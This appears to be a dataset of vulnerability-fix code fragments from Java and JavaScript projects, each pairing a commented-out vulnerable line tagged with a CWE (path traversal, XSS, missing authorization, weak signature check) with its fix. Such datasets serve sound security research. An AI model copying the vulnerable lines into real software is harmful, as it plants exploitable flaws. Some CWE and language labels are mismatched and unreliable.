Utils.formatMessage(lang.get(\"signin.welcome\"), CONF.appName());\n\t\t\tString body1 = Utils.formatMessage(CONF.emailsWelcomeText1(lang), CONF.appName());\n\t\t\tString body2 = CONF.emailsWelcomeText2(lang);\n\t\t\tString body3 = getDefaultEmailSignature(CONF.emailsWelcomeText3(lang));\n\n\t\t\tif (verifyEmai<|endoftext|>"} +{"language": "java", "text": " cacheTimestamp);\n }\n }\n\n if (value.isCompressable()) {\n value = handleCompression(value);\n }\n return value;\n\n }\n\n private String findPathConsideringContracts(LibraryInfo library,\n String resourceName,\n String localePrefix,\n ContractInfo [] outContract,\n FacesContext ctx) {\n UIViewRoot root = ctx.getViewRoot();\n List contracts = null;\n\n if (library != null) {\n if(library.getContract() == null) {\n contracts = Collections.emptyList();\n } else {\n contracts = new ArrayList(1);\n contracts.add(library.getContract());\n }\n } else if (root == null) {\n String contractName = ctx.getExternalContext().getRequestParameterMap()\n .get(\"con\");\n // BUG: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n // if (null != contractName && 0 < contractName.length()) {\n // FIXED: \n if (null != contractName && 0 < contractName.length() && !ResourceManager.nameContainsForbiddenSequence(contractName)) {\n contracts = new ArrayList<>();\n contracts.add(contractName);\n } else {\n return null;\n }\n } else {\n \tcontracts = ctx.getResourceLibraryContracts();\n }\n\n String basePath = null;\n \n for (String curContract : contracts) {\n \n if (library != null) {\n // PENDING(fcaputo) no need to iterate over the contracts, if we have a library\n basePath = library.getPath(localePrefix) + '/' + resourceName;\n } else {\n if (localePrefix == null) {\n basePath = getBaseContractsPath() + '/' + curContract + '/' + resourceName;\n } else {\n basePath = getBaseContractsPath()\n + '/' + curContract \n + '/'\n + localePrefix\n + '/'\n + resourceName;\n }\n }\n \n try {\n <|endoftext|>"} +{"language": "java", "text": "name + \".dynlib\" :\n NATIVE_RESOURCE_HOME + \"lib\" + name + \".jnilib\";\n if (loader == null) {\n url = ClassLoader.getSystemResource(fileName);\n } else {\n url = loader.getResource(fileName);\n }\n if (url == null) {\n FileNotFoundException fnf = new FileNotFoundException(fileName);\n ThrowableUtil.addSuppressedAndClear(fnf, suppressed);\n throw fnf;\n }\n } else {\n FileNotFoundException fnf = new FileNotFoundException(path);\n ThrowableUtil.addSuppressedAndClear(fnf, suppressed);\n throw fnf;\n }\n }\n\n int index = libname.lastIndexOf('.');\n String prefix = libname.substring(0, index);\n String suffix = libname.substring(index);\n // BUG: CWE-378 Creation of Temporary File With Insecure Permissions\n // tmpFile = File.createTempFile(prefix, suffix, WORKDIR);\n // FIXED:\n tmpFile = PlatformDependent.createTempFile(prefix, suffix, WORKDIR);\n in = url.openStream();\n out = new FileOutputStream(tmpFile);\n\n if (shouldShadedLibraryIdBePatched(packagePrefix)) {\n patchShadedLibraryId(in, out, originalName, name);\n } else {\n byte[] buffer = new byte[8192];\n int length;\n while ((length = in.read(buffer)) > 0) {\n out.write(buffer, 0, length);\n }\n }\n\n out.flush();\n\n // Close the output stream before loading the unpacked library,\n // because otherwise Windows will refuse to load it when it's in use by other process.\n closeQuietly(out);\n out = null;\n loadLibrary(loader, tmpFile.getPath(), true);\n } catch (UnsatisfiedLinkError e) {\n try {\n if (tmpFile != null && tmpFile.isFile() && tmpFile.canRead() &&\n !NoexecVolumeDetector.canExecuteExecutable(tmpFile)) {\n // Pass \"io.netty.native.workdir\" as an argument to allow shading tools to see\n // the string. Sin<|endoftext|>"} +{"language": "java", "text": "rn basePath;\n }\n\n private URL findPathConsideringContracts(ClassLoader loader, \n LibraryInfo library,\n String resourceName,\n String localePrefix,\n ContractInfo [] outContract,\n String [] outBasePath,\n FacesContext ctx) {\n UIViewRoot root = ctx.getViewRoot();\n List contracts = null;\n URL result = null;\n \n if (library != null) {\n if(library.getContract() == null) {\n contracts = Collections.emptyList();\n } else {\n contracts = new ArrayList(1);\n contracts.add(library.getContract());\n }\n } else if (root == null) {\n String contractName = ctx.getExternalContext().getRequestParameterMap()\n .get(\"con\");\n // BUG: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')\n // if (null != contractName && 0 < contractName.length()) {\n // FIXED: \n if (null != contractName && 0 < contractName.length() && !ResourceManager.nameContainsForbiddenSequence(contractName)) {\n contracts = new ArrayList<>();\n contracts.add(contractName);\n } else {\n return null;\n }\n } else {\n \t\tcontracts = ctx.getResourceLibraryContracts();\n }\n\n String basePath = null;\n \n for (String curContract : contracts) {\n \n if (library != null) {\n // PENDING(fcaputo) no need to iterate over the contracts, if we have a library\n basePath = library.getPath(localePrefix) + '/' + resourceName;\n } else {\n if (localePrefix == null) {\n basePath = getBaseContractsPath() + '/' + curContract + '/' + resourceName;\n } else {\n basePath = getBaseContractsPath()\n + '/' + curContract \n + '/'\n + localePrefix\n + '/'\n + resourceName;\n }\n }\n \n if (null != (result <|endoftext|>"} +{"language": "java", "text": "g/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.thoughtworks.go.domain;\n\nimport com.thoughtworks.go.server.presentation.html.HtmlRenderable;\nimport com.thoughtworks.go.server.presentation.html.HtmlAttribute;\nimport com.thoughtworks.go.server.presentation.html.HtmlElement;\n\npublic class FileDirectoryEntry extends DirectoryEntry {\n\n public FileDirectoryEntry(String fileName, String url) {\n super(fileName, url, \"file\");\n }\n\n @Override\n protected HtmlRenderable htmlBody() {\n return HtmlElement.li().content(\n HtmlElement.span(HtmlAttribute.cssClass(\"artifact\")).content(\n HtmlElement.a(HtmlAttribute.href(getUrl()))\n // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n // .content(getFileName())\n // FIXED:\n .safecontent(getFileName())\n )\n );\n\n }\n}\n<|endoftext|>"} +{"language": "java", "text": "WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\n * @author GeyserMC\n * @link https://github.com/GeyserMC/Geyser\n */\n\npackage org.geysermc.connector.network.translators.bedrock;\n\nimport com.github.steveice10.mc.protocol.data.game.entity.player.GameMode;\nimport com.nukkitx.protocol.bedrock.data.entity.EntityData;\nimport com.nukkitx.protocol.bedrock.packet.EntityPickRequestPacket;\nimport org.geysermc.connector.entity.Entity;\nimport org.geysermc.connector.network.session.GeyserSession;\nimport org.geysermc.connector.network.translators.PacketTranslator;\nimport org.geysermc.connector.network.translators.Translator;\nimport org.geysermc.connector.registry.type.ItemMapping;\nimport org.geysermc.connector.utils.InventoryUtils;\n\n/**\n * Called when the Bedrock user uses the pick block button on an entity\n */\n@Translator(packet = EntityPickRequestPacket.class)\npublic class BedrockEntityPickRequestTranslator extends PacketTranslator {\n\n @Override\n // BUG: CWE-287 Improper Authentication\n // public void translate(EntityPickRequestPacket packet, GeyserSession session) {\n // FIXED: \n public void translate(GeyserSession session, EntityPickRequestPacket packet) {\n if (session.getGameMode() != GameMode.CREATIVE) return; // Apparently Java behavior\n Entity entity = session.getEntityCache().getEntityByGeyserId(packet.getRuntimeEntityId());\n if (entity == null) return;\n\n // Get the corresponding item\n String itemName;\n switch (entity.getEntityType()) {\n case BOAT:\n // Include type of boat in the name\n int variant = entity.getMetadata().getInt(EntityData.VARIANT);\n String typeOfBoat;\n switch (variant) {\n case 1:\n typeOfBoat = \"spruce\";\n break;\n case 2:\n typeOfBoat = \"birch\";\n break;\n case 3:\n typeOfBoat = \"jungle\";\n break;\n case 4:\n typeOfBoat = \"acacia\";\n break;\n case 5:\n typeOfBoat = \"dark_oak\";\n break;\n default:\n <|endoftext|>"} +{"language": "java", "text": "ually, otherwise the exceptions are hidden\n newConnection.setUseClientMode(true);\n newConnection.startHandshake();\n } catch (IOException ex) {\n throw new PSQLException(GT.tr(\"SSL error: {0}\", ex.getMessage()),\n PSQLState.CONNECTION_FAILURE, ex);\n }\n if (factory instanceof LibPQFactory) { // throw any KeyManager exception\n ((LibPQFactory) factory).throwKeyManagerException();\n }\n\n SslMode sslMode = SslMode.of(info);\n if (sslMode.verifyPeerName()) {\n verifyPeerName(stream, info, newConnection);\n }\n\n stream.changeSocket(newConnection);\n }\n\n private static void verifyPeerName(PGStream stream, Properties info, SSLSocket newConnection)\n throws PSQLException {\n HostnameVerifier hvn;\n String sslhostnameverifier = PGProperty.SSL_HOSTNAME_VERIFIER.get(info);\n if (sslhostnameverifier == null) {\n hvn = PGjdbcHostnameVerifier.INSTANCE;\n sslhostnameverifier = \"PgjdbcHostnameVerifier\";\n } else {\n try {\n // BUG: CWE-665 Improper Initialization\n // hvn = (HostnameVerifier) instantiate(sslhostnameverifier, info, false, null);\n // FIXED: \n hvn = instantiate(HostnameVerifier.class, sslhostnameverifier, info, false, null);\n } catch (Exception e) {\n throw new PSQLException(\n GT.tr(\"The HostnameVerifier class provided {0} could not be instantiated.\",\n sslhostnameverifier),\n PSQLState.CONNECTION_FAILURE, e);\n }\n }\n\n if (hvn.verify(stream.getHostSpec().getHost(), newConnection.getSession())) {\n return;\n }\n\n throw new PSQLException(\n GT.tr(\"The hostname {0} could not be verified by hostnameverifier {1}.\",\n stream.getHostSpec().getHost(), sslhostnameverifier),\n PSQLState.CONNECTION_FAILURE);\n }\n\n}\n<|endoftext|>"} +{"language": "java", "text": "ring, BaseObject, XWikiContext)\n // TODO: Revisit the display mode after the inline action is removed. Is the display mode still needed when\n // there is only one edit action?\n context.put(\"display\", \"edit\");\n return \"edit\";\n }\n\n /**\n * Determines the edited document (translation) and updates it based on the template specified on the request and\n * any additional request parameters that overwrite the default values from the template.\n *\n * @param context the XWiki context\n * @return the edited document\n * @throws XWikiException if something goes wrong\n */\n protected XWikiDocument prepareEditedDocument(XWikiContext context) throws XWikiException\n {\n // Determine the edited document (translation).\n XWikiDocument editedDocument = getEditedDocument(context);\n EditForm editForm = (EditForm) context.getForm();\n\n // Update the edited document based on the template specified on the request.\n // BUG: CWE-862 Missing Authorization\n // editedDocument.readFromTemplate(editForm, context);\n // FIXED:\n readFromTemplate(editedDocument, editForm.getTemplate(), context);\n\n // The default values from the template can be overwritten by additional request parameters.\n updateDocumentTitleAndContentFromRequest(editedDocument, context);\n editedDocument.readObjectsFromForm(editForm, context);\n\n // Set the current user as creator, author and contentAuthor when the edited document is newly created to avoid\n // using XWikiGuest instead (because those fields were not previously initialized).\n if (editedDocument.isNew()) {\n editedDocument.setCreatorReference(context.getUserReference());\n editedDocument.setAuthorReference(context.getUserReference());\n editedDocument.setContentAuthorReference(context.getUserReference());\n }\n\n // Expose the edited document on the XWiki context and the Velocity context.\n putDocumentOnContext(editedDocument, context);\n\n return editedDocument;\n }\n\n /**\n * There are three important use cases:\n *

    \n *
  • editing or creating the original translation (for the default language)
  • \n *
  • editing an existing document translation
  • \n <|endoftext|>"} +{"language": "java", "text": " distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.thoughtworks.go.domain;\n\nimport com.thoughtworks.go.CurrentGoCDVersion;\nimport com.thoughtworks.go.server.presentation.html.HtmlElement;\nimport com.thoughtworks.go.server.presentation.html.HtmlRenderable;\nimport com.thoughtworks.go.server.presentation.models.HtmlRenderer;\nimport com.thoughtworks.go.util.json.JsonAware;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\nimport static com.thoughtworks.go.server.presentation.html.HtmlElement.p;\n\npublic class DirectoryEntries extends ArrayList implements HtmlRenderable, JsonAware {\n private boolean isArtifactsDeleted;\n\n @Override\n public void render(HtmlRenderer renderer) {\n if (isArtifactsDeleted || isEmpty()) {\n // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n // HtmlElement element = p().content(\"Artifacts for this job instance are unavailable as they may have been ete_artifacts.html\") +\n \"' target='blank'>purged by Go or deleted externally. \"\n + \"Re-run the stage or job to generate them again.\");\n element.render(renderer);\n }\n for (DirectoryEntry entry : this) {\n entry.toHtml().render(renderer);\n }\n }\n\n @Override\n public List> toJson() {\n List> jsonList = new ArrayList();\n for (DirectoryEntry entry : this) {\n jsonList.add(entry.toJson());\n }\n return jsonList;\n }\n\n\n public boolean isArtifactsDeleted() {\n return isArtifactsDeleted;\n }\n\n public void setIsArtifactsDeleted(boolean artifactsDeleted) {\n isArtifactsDeleted = artifactsDeleted;\n }\n\n public FolderDirectoryEntry addFolder(String folderName) {\n FolderDirectoryEntry folderDirectoryEntry = new FolderDirectoryEntry(folderName, \"\", new DirectoryEntries());\n add(folderDirectoryEntr<|endoftext|>"} +{"language": "java", "text": "ption;\n\n /**\n * Deletes this item.\n */\n void delete() throws IOException, InterruptedException;\n\n PermissionGroup PERMISSIONS = new PermissionGroup(Item.class,Messages._Item_Permissions_Title());\n Permission CREATE = new Permission(PERMISSIONS, \"Create\", Messages._Item_CREATE_description(), Permission.CREATE, PermissionScope.ITEM_GROUP);\n Permission DELETE = new Permission(PERMISSIONS, \"Delete\", Messages._Item_DELETE_description(), Permission.DELETE, PermissionScope.ITEM);\n Permission CONFIGURE = new Permission(PERMISSIONS, \"Configure\", Messages._Item_CONFIGURE_description(), Permission.CONFIGURE, PermissionScope.ITEM);\n Permission READ = new Permission(PERMISSIONS, \"Read\", Messages._Item_READ_description(), Permission.READ, PermissionScope.ITEM);\n Permission DISCOVER = new Permission(PERMISSIONS, \"Discover\", Messages._AbstractProject_DiscoverPermission_Description(), READ, PermissionScope.ITEM);\n /**\n * Ability to view configuration details.\n // BUG: CWE-326 Inadequate Encryption Strength\n // * If the user lacks {@link CONFIGURE} then any {@link Secret}s must be masked out, even in encrypted form.\n // FIXED: \n * If the user lacks {@link #CONFIGURE} then any {@link Secret}s must be masked out, even in encrypted form.\n * @see Secret#ENCRYPTED_VALUE_PATTERN\n */\n Permission EXTENDED_READ = new Permission(PERMISSIONS,\"ExtendedRead\", Messages._AbstractProject_ExtendedReadPermission_Description(), CONFIGURE, Boolean.getBoolean(\"hudson.security.ExtendedReadPermission\"), new PermissionScope[]{PermissionScope.ITEM});\n // TODO the following really belong in Job, not Item, but too late to move since the owner.name is encoded in the ID:\n Permission BUILD = new Permission(PERMISSIONS, \"Build\", Messages._AbstractProject_BuildPermission_Description(), Permission.UPDATE, PermissionScope.ITEM);\n Permission WORKSPACE = new Permission(PERMISSIONS, \"Workspace\", Messages._AbstractProject_WorkspacePermission_Description(), Permission.READ, PermissionScope.ITEM);\n Permission WIPEOUT = new Permission(PERMISSIONS, \"WipeOut\", Messages._AbstractProject_WipeOutPermission_Description(), null, Functions.isWipeOutPermissionEnabled(), new PermissionScope[]{PermissionScope.ITEM});\n Permission CANCEL = new Permission(PERMISSIONS, \"Cancel\", Messages._AbstractProject_CancelPermission_Descripti<|endoftext|>"} +{"language": "java", "text": "chrome.extension.onRequest.addListener(function(request, sender, sendResponse) {\n if (request.command != \"filters_updated\")\n return;\n if ($(\"#txtFiltersAdvanced\").prop(\"disabled\") === false)\n return;\n BGcall(\"get_custom_filters_text\", function(text) {\n $(\"#txtFiltersAdvanced\").val(text);\n });\n BGcall(\"get_exclude_filters_text\", function(text) {\n $(\"#txtExcludeFiltersAdvanced\").val(text);\n });\n // BUG: CWE-284 Improper Access Control\n // sendResponse({});\n // FIXED:\n // a call to sendResponse is not needed because of the call in filters.js\n});\n\n$(function() {\n //try to get filter syntax page with users language\n //if it fails, default to english (en).\n var syntaxURL = \"https://adblockplus.org/\" +\n determineUserLanguage() +\n \"/filters\";\n\n var jqxhr = $.ajax({\n type: 'get',\n url: syntaxURL,\n success: function(e) {\n //since the ABP site uses a custom server side 404 handler, instead of returing us a 404 http status code\n //we need to parse the response text looking for a 404 message for the user.\n if (jqxhr.responseText &&\n jqxhr.responseText.indexOf(\"404 - The requested URL was not found.\") > 0) {\n $('#tutorlink').attr(\"href\", \"https://adblockplus.org/en/filters\");\n } else {\n $('#tutorlink').attr(\"href\", syntaxURL);\n }\n },\n error: function(e) {\n $('#tutorlink').attr(\"href\", \"https://adblockplus.org/en/filters\");\n },\n });\n\n\n // Add a custom filter to the list\n function appendCustomFilter(filter) {\n var customFilterText = $(\"#txtFiltersAdvanced\").val();\n $(\"#txtFiltersAdvanced\").val(fi<|endoftext|>"} +{"language": "java", "text": "const Promise = require('bluebird');\nconst {expect} = require('chai');\nconst sinon = require('sinon');\n\nconst CMD = 'OPTS';\ndescribe(CMD, function () {\n let sandbox;\n const mockClient = {\n reply: () => Promise.resolve()\n };\n const cmdFn = require(`../../../src/commands/registration/${CMD.toLowerCase()}`).handler.bind(mockClient);\n\n beforeEach(() => {\n sandbox = sinon.sandbox.create().usingPromise(Promise);\n\n sandbox.spy(mockClient, 'reply');\n });\n afterEach(() => {\n sandbox.restore();\n });\n\n it('// unsuccessful', () => {\n return cmdFn()\n .then(() => {\n expect(mockClient.reply.args[0][0]).to.equal(501);\n });\n });\n\n it('BAD // unsuccessful', () => {\n return cmdFn({command: {arg: 'BAD', directive: CMD}})\n .then(() => {\n // BUG: CWE-918 Server-Side Request Forgery (SSRF)\n // expect(mockClient.reply.args[0][0]).to.equal(500);\n // FIXED: \n expect(mockClient.reply.args[0][0]).to.equal(501);\n });\n });\n\n it('UTF8 BAD // unsuccessful', () => {\n return cmdFn({command: {arg: 'UTF8 BAD', directive: CMD}})\n .then(() => {\n expect(mockClient.reply.args[0][0]).to.equal(501);\n });\n });\n\n it('UTF8 OFF // successful', () => {\n return cmdFn({command: {arg: 'UTF8 OFF', directive: CMD}})\n .then(() => {\n expect(mockClient.encoding).to.equal('ascii');\n expect(mockClient.reply.args[0][0]).to.equal(200);\n });\n });\n\n it('UTF8 ON // successful', () => {\n return cmdFn({command: {arg: 'UTF8 ON', directive: CMD}})\n .then(() => {\n expect(mockClient.encoding).to.equal('utf8');\n expect(mockClient.reply.args[0][0]).to.equal(200);\n });\n });\n});\n<|endoftext|>"} +{"language": "java", "text": "/ ignored fields (important e.g. for container_id)\n Ext.each(this.criteriaIgnores, function(criteria) {\n if (criteria.field != this.quickFilterField) {\n var filterIdx = this.activeFilterPanel.filterStore.find('field', criteria.field),\n filter = filterIdx >= 0 ? this.activeFilterPanel.filterStore.getAt(filterIdx) : null,\n filterModel = filter ? this.activeFilterPanel.getFilterModel(filter) : null;\n \n if (filter) {\n filters.push(Ext.isFunction(filterModel.getFilterData) ? filterModel.getFilterData(filter) : this.activeFilterPanel.getFilterData(filter));\n }\n }\n \n }, this);\n \n return filters;\n }\n \n for (var id in this.filterPanels) {\n if (this.filterPanels.hasOwnProperty(id) && this.filterPanels[id].isActive) {\n // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n // filters.push({'condition': 'AND', 'filters': this.filterPanels[id].getValue(), 'id': id, label: this.filterPanels[id].title});\n // FIXED: \n filters.push({'condition': 'AND', 'filters': this.filterPanels[id].getValue(), 'id': id, label: Ext.util.Format.htmlDecode(this.filterPanels[id].title)});\n }\n }\n \n // NOTE: always trigger a OR condition, otherwise we sould loose inactive FilterPanles\n //return filters.length == 1 ? filters[0].filters : [{'condition': 'OR', 'filters': filters}];\n return [{'condition': 'OR', 'filters': filters}];\n },\n \n setValue: function(value) {\n // save last filter ?\n var prefs;\n if ((prefs = this.filterToolbarConfig.app.getRegistry().get('preferences')) && prefs.get('defaultpersistentfilter') == '_lastusedfilter_') {\n var lastFilterStateName = this.filterToolbarConfig.recordClass.getMeta('appName') + '-' + this.filterToolbarConfig.recordClass.getMeta('recordName') + '-lastusedfilter';\n \n if (Ext.encode(Ext.state.Manager.get(lastFilterStateName)) != Ext.encode(value)) {\n Tine.log.debug('Tine.widgets.grid.FilterPanel::setValue save last used filter');\n Ext.state.Manager.set(lastFilterStateName, value);\n }\n }\n \n // N<|endoftext|>"} +{"language": "java", "text": "\t\t}\n\t\t\tif(signed.split(\"::\").length != 2) {\n\t\t\t\tthrow \"tEnvoyNaClSigningKey Fatal Error: Invalid signature.\";\n\t\t\t}\n\t\t\tlet hash = _tEnvoy.util.hexToBytes(signed.split(\"::\")[0]);\n\t\t\tlet signature = _tEnvoy.util.hexToBytes(signed.split(\"::\")[1]);\n\t\t\treturn {\n\t\t\t\tverified: _nacl.sign.detached.verify(hash, signature, this.getPublic(_getPassword())),\n\t\t\t\thash: signed.split(\"::\")[0]\n\t\t\t};\n\t\t} else {\n\t\t\tthrow assertion.error;\n\t\t}\n\t}\n\t\n\tthis.verifyWithMessage = (signed, message, password = null) => {\n\t\tif(signed == null) {\n\t\t\tthrow \"tEnvoyNaClSigningKey Fatal Error: argument signed of method verifyWithMessage is required and does not have a default value.\";\n\t\t}\n\t\tif(message == null) {\n\t\t\tthrow \"tEnvoyNaClSigningKey Fatal Error: argument message of method verifyWithMessage is required and does not have a default value.\";\n\t\t}\n\t\tif(signed.split(\"::\").length != 2) {\n\t\t\tthrow \"tEnvoyNaClSigningKey Fatal Error: Invalid signature.\";\n\t\t}\n\t\tlet hash = _tEnvoy.util.hexToBytes(signed.split(\"::\")[0]);\n // BUG: CWE-347 Improper Verification of Cryptographic Signature\n // return this.verify(signed, password) && _tEnvoy.util.bytesToHex(_nacl.hash(_tEnvoy.util.pack(message))) == _tEnvoy.util.bytesToHex(hash);\n // FIXED: \n\t\treturn this.verify(signed, password).verified && _tEnvoy.util.bytesToHex(_nacl.hash(_tEnvoy.util.pack(message))) == _tEnvoy.util.bytesToHex(hash);\n\t}\n\t\n\tthis.toPublic = (password = null) => {\n\t\treturn new tEnvoyNaClSigningKey(this.getPublic(password), \"public\", _getPassword(), _passwordProtected, _tEnvoy);\n\t}\n\t\n\tif(![\"public\", \"private\"].includes(type)) {\n\t\tthrow \"tEnvoyNaClSigningKey Fatal Error: argument type of method constructor is invalid.\";\n\t} else {\n\t\t_getKey = () => {\n\t\t\treturn _tEnvoy.util.unpack(_key);\n\t\t}\n\n\t\t_setKey = (newKey) => {\n\t\t\t_key = _tEnvoy.util.pack(newKey);\n\t\t}\n\n\t\t_getPassword = () => {\n\t\t\treturn _tEnvoy.util.unpack(_password);\n\t\t}\n\n\t\t_setPassword = (newPassword) => {\n\t\t\t_password = _tEnvoy.util.pack(newPassword);\n\t\t}\n\n\t\t_setPassword(password);\n\t\tif(password == null) {\n\t\t\t_setKey(key);\n\t\t} else {\n\t\t\t_nonce = _nacl.randomBytes(12);\n\t\t\tlet encryptionKey = new tEnvoyNaClKey(password, \"secret\", null, [], _tEnvoy);\n\t\t\t_setKey(encryptionKey.encrypt(key, _nonce));\n\t\t\tencryptionKey.destroy();\n\t\t}\n\t\t_type = type;\n\t\t_passwordProtected = [];\n\t\tlet protectable = [];\n\t\tif(_type == \"private\") {\n\t\t\tprotectable = [\"destroy\", \"getPublic\", \"sign\", \"verify\"];\n\t\t} else if(_type <|endoftext|>"} +{"language": "java", "text": "$/.test(\n possibleBase64String.substr(0, possibleBase64String.length - 2)\n ) === false\n ) {\n result = false;\n }\n\n if (\n /^[A-Za-z0-9/][A-Za-z0-9+/]|[A-Za-z0-9+/]=|==$/.test(\n possibleBase64String.substr(-2)\n ) === false\n ) {\n result = false;\n }\n return result;\n });\n\n /**\n * Strips out and returns info from a valid base64 data URI\n *\n * @name extractImageFromDataUrl\n * @function\n * @param {string} dataUrl a valid data URI of format 'data:[][;base64],'\n * @returns {Array}an Array containing the following\n * [0] the complete data URI\n * [1] \n * [2] format - the second part of the mime-type i.e 'png' in 'image/png'\n * [4] \n */\n var extractImageFromDataUrl = (jsPDFAPI.__addimage__.extractImageFromDataUrl = function(\n dataUrl\n ) {\n dataUrl = dataUrl || \"\";\n var dataUrlParts = dataUrl.split(\"base64,\");\n var result = null;\n\n if (dataUrlParts.length === 2) {\n // BUG: NVD-CWE-noinfo Insufficient Information\n // var extractedInfo = /^data:(\\w*\\/\\w*);*(charset=[\\w=-]*)*;*$/.exec(\n // FIXED: \n var extractedInfo = /^data:(\\w*\\/\\w*);*(charset=(?!charset=)[\\w=-]*)*;*$/.exec(\n dataUrlParts[0]\n );\n if (Array.isArray(extractedInfo)) {\n result = {\n mimeType: extractedInfo[1],\n charset: extractedInfo[2],\n data: dataUrlParts[1]\n };\n }\n }\n return result;\n });\n\n /**\n * Check to see if ArrayBuffer is supported\n *\n * @name supportsArrayBuffer\n * @function\n * @returns {boolean}\n */\n var supportsArrayBuffer = (jsPDFAPI.__addimage__.supportsArrayBuffer = function() {\n return (\n typeof ArrayBuffer !== \"undefined\" && typeof Uint8Array !== \"undefined\"\n );\n });\n\n /**\n * Tests supplied object to determine if ArrayBuffer\n *\n * @name isArrayBuffer\n * @function\n * @param {Object} object an Object\n *\n * @returns {boolean}\n */\n jsPDFAPI.__addimage__.isArrayBuffer = function(object) {\n return supportsArrayBuffer() && object instanceof ArrayBuffer;\n };\n\n /**\n * Tests supplied object to determine if it implements the ArrayBufferView (TypedArray) interface\n *\n * @name isArrayBufferView\n * @function\n * @param {Object} object an Object\n * @returns {boolean}\n */\n var<|endoftext|>"} +{"language": "java", "text": "for (var i = 0; i < nodes.length; i++)\n\t {\n\t\tmxUtils.setPrefixedStyle(nodes[i].style, 'transition', transition);\n\t }\n};\n\n/**\n * Sets the opacity for the given nodes.\n */\nGraph.setOpacityForNodes = function(nodes, opacity)\n{\n\t for (var i = 0; i < nodes.length; i++)\n\t {\n\t\tnodes[i].style.opacity = opacity;\n\t }\n};\n\n/**\n * Removes formatting from pasted HTML.\n */\nGraph.removePasteFormatting = function(elt)\n{\n\twhile (elt != null)\n\t{\n\t\tif (elt.firstChild != null)\n\t\t{\n\t\t\tGraph.removePasteFormatting(elt.firstChild);\n\t\t}\n\t\t\n\t\tif (elt.nodeType == mxConstants.NODETYPE_ELEMENT && elt.style != null)\n\t\t{\n\t\t\telt.style.whiteSpace = '';\n\t\t\t\n\t\t\tif (elt.style.color == '#000000')\n\t\t\t{\n\t\t\t\telt.style.color = '';\n\t\t\t}\n\t\t}\n\t\t\n\t\telt = elt.nextSibling;\n\t}\n};\n\n/**\n * Sanitizes the given HTML markup, allowing target attributes and\n * data: protocol links to pages and custom actions.\n */\nGraph.sanitizeHtml = function(value, editing)\n{\n\treturn DOMPurify.sanitize(value, {ADD_ATTR: ['target'], FORBID_TAGS: ['form'],\n\t// BUG: CWE-20 Improper Input Validation\n\t// ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto|tel|callto|cid|xmpp|data):|[^a-z]|[a-z+.\\-]+(?:[^a-z+.\\-:]|$))/i});\n\t// FIXED:\n\t\tALLOWED_URI_REGEXP: /^(?:(?:https?|mailto|tel|callto|data):|[^a-z]|[a-z+.\\-]+(?:[^a-z+.\\-:]|$))/i});\n};\n\n/**\n * Sanitizes the SVG in the given DOM node in-place.\n */\nGraph.sanitizeSvg = function(div)\n{\n\treturn DOMPurify.sanitize(div, {IN_PLACE: true});\n};\n\n/**\n * Updates the viewbox, width and height in the given SVG data URI\n * and returns the updated data URI with all script tags and event\n * handlers removed.\n */\nGraph.clipSvgDataUri = function(dataUri, ignorePreserveAspect)\n{\n\t// LATER Add workaround for non-default NS declarations with empty URI not allowed in IE11\n\tif (!mxClient.IS_IE && !mxClient.IS_IE11 && dataUri != null &&\n\t\tdataUri.substring(0, 26) == 'data:image/svg+xml;base64,')\n\t{\n\t\ttry\n\t\t{\n\t\t\tvar div = document.createElement('div');\n\t\t\tdiv.style.position = 'absolute';\n\t\t\tdiv.style.visibility = 'hidden';\n\t\t\t\n\t\t\t// Adds the text and inserts into DOM for updating of size\n\t\t\tvar data = decodeURIComponent(escape(atob(dataUri.substring(26))));\n\t\t\tvar idx = data.indexOf('= 0)\n\t\t\t{\n\t\t\t\t// Strips leading XML declaration and doctypes\n\t\t\t\tdiv.innerHTML = data.substring(idx);\n\t\t\t\t\n\t\t\t\t// Removes all attributes starting with on\n\t\t\t\tGraph.sanitizeSvg(div);\n<|endoftext|>"} +{"language": "java", "text": " s.addClass('md-input-filled')\n }\n }\n })\n }, 0)\n }\n\n function validateEmail (email) {\n return String(email)\n .toLowerCase()\n .match(\n /^(([^<>()[\\]\\\\.,;:\\s@\"]+(\\.[^<>()[\\]\\\\.,;:\\s@\"]+)*)|(\".+\"))@((\\[[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\])|(([a-zA-Z\\-0-9]+\\.)+[a-zA-Z]{2,}))$/\n )\n }\n\n $scope.updateUser = function ($event) {\n $event.preventDefault()\n\n var id = $('div[data-user_id]').attr('data-user_id')\n if (_.isUndefined(id)) return\n var data = getFormData()\n\n if (\n data.fullname.toString().length > 25 ||\n data.password.toString().length > 255 ||\n data.cPassword.toString().length > 255 ||\n data.email.toString().length > 255 ||\n !validateEmail(data.email.toString())\n ) {\n helpers.UI.showSnackbar('Form data invalid.', true)\n return false\n }\n\n $http\n // BUG: CWE-269 Improper Privilege Management\n // .put('/api/v1/users/' + data.username, {\n // FIXED:\n .put('/api/v1/profile/', {\n aId: id,\n aFullname: data.fullname,\n aPass: data.password,\n aPassConfirm: data.cPassword,\n aEmail: data.email,\n\n saveGroups: false\n })\n .success(function () {\n resetForm()\n helpers.UI.showSnackbar({\n text: 'Profile Successfully Saved',\n textColor: '#f8f8f2'\n })\n })\n .error(function (e) {\n if (e.error.message) {\n $log.log('[trudesk:profile:updateUser] - ' + e.error.message)\n helpers.UI.showSnackbar('Error ' + e.error.message, true)\n } else {\n $log.log('[trudesk:profile:updateUser] - ' + e.error)\n helpers.UI.showSnackbar('Error: ' + e.error, true)\n }\n })\n }\n\n $scope.showTour = function () {\n var username = SessionService.getUser().username\n $http\n .put('/api/v1/users/' + username 